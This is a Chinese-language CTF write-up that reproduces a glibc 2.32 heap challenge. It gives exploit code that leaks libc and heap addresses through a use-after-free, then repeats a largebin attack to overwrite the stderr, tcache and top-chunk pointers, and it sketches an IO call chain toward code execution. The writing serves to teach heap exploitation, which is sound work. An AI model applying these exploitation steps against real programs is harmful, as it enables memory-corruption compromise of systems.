来复现下肥猫出的题目

至于漏洞点我就不贴了,就是个2.32下的uaf,然后开了沙盒,然后限制在了largebin,这里我就直接调它的exp了。

因为开了混淆,所以我没怎么看反汇编,这里知道的是使用calloc函数。

首先申请了四个堆块

add(0x410,'c7')#0
add(0x450,'c8')#1
add(0x420,'c9')#2
add(0x450,'ca')#3

image-20211102175311333

然后释放两个堆块

free(0)
free(2)

image-20211102212709115

这里就是很传统的放两个chunk进unsortedbin中,然后申请一个大的chunk之后就能把这两个chunk放到largebin中

add(0x450,'ca')#4

image-20211102212916513

可以看到上面的图,申请了大的chunk之后确实把两个chunk放入到了largebin中

show(0)
p.recvuntil('Content: ')
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x1e3ff0
print "libc_base= "+hex(libc_base)
show(2)
p.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2b0
print "heap_base= "+hex(heap_base)

然后因为存在uaf,就可以理所当然的把libc基址和heap基址都泄露出来。这里有个值得注意的点,就是高版本,我也不知道到底是从哪个版本开始的,就是放入到unsorted bin中的地址,也就是main_arena+96的地方,低位变成了00,所以会存在截断的问题,这里放入到了largebin后,泄露的就不是main_arena+96了,所以就不用担心截断的问题。

然后再把这两个chunk申请回来,然后释放

add(0x410,'ca')#5
add(0x420,'cb')#6
free(6)

那么此时的一个状态就是如下

image-20211102214658385

在unsortedbin中存在一个chunk,然后我们申请一个比他大的chunk,把他放到largebin中,然后呢,我们继续释放一个chunk进入到unsortedbin中

add(0x450,'ca')#7
free(5)

image-20211102215016455

那么此时就是一个标准的largebin attack的一个状态,在largebin中存在一个chunk,然后呢unsorted bin中也存在一个chunk,还要注意下他的大小关系,就是unsorted bin中的chunk比largebin中的小,别问为什么,忘记了。此时我们只需要修改largebin中的那个chunk的bk_nextsize域后申请chunk就能够达成攻击。

stderr = libc_base + libc.sym['stderr']
print "stderr= "+hex(stderr)
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
edit(6,p64(malloc_hook+1120)*2+p64(heap_base+0xb30)+p64(stderr-0x20))

这里我们将largebin中的chunk,也就是0x55555555db30的chunk的bk_nextsize域改写成了stderr-0x20的地方,这样就可以在stderr的地方写上一个堆地址,这个地址是什么呢,就是放入到largebin中的chunk的地址,即0x55555555d2b0。

add(0x450,'c7')#8

image-20211102215642196

可以看到攻击达成后,我们的stderr被修改成了堆地址。

可以看下我们原来的stderr

image-20211102215919352

然后是我们伪造的

image-20211102215950649

然后就是重复刚才的操作,刚刚从unsortedbin放入到largebin的chunk,申请回来后又释放,这次攻击tcache指针,怎么找这个指针呢,直接search heapbase+0x10的地方就行了

add(0x410,'ca')#9
tcache = libc_base + 0x1eb578
print "tcache= "+hex(tcache)
edit(6,p64(malloc_hook+1120)*2+p64(heap_base+0xb30)+p64(tcache-0x20))
free(9)

image-20211102220550006

add(0x450,'cb')#10

image-20211102220617278

可以看到tcache指针的内容也被我们修改成了我们可控的堆块地址。

继续重复操作,这次我们攻击top chunk

add(0x410,'cc')#11
top_chunk = malloc_hook + 0x70
print "top_chunk= "+hex(top_chunk)
edit(6,p64(malloc_hook+1120)*2+p64(heap_base+0xb30)+p64(top_chunk-0x20))
free(11)
free(8)

我们知道我们在main_arena+96存放着top_chunk的指针

image-20211103171545126

add(0x450,'ca')#12

攻击成功后,可以看到top chunk的指针被我们修改成了可控的堆块地址。

image-20211103171623052

到这里,我们的stderr、tcache指针、top chunk指针都被修改成了同一个可控的chunk。

攻击完成后,我们看下结构

image-20211104221345762

接下来就是修改我们可控的那个chunk的内容。

调用链:

calloc -> _int_malloc -> sysmalloc -> _malloc_assert -> __fxprintf -> locked_vfxprintf -> _vfprintf_internal -> _IO_str_overflow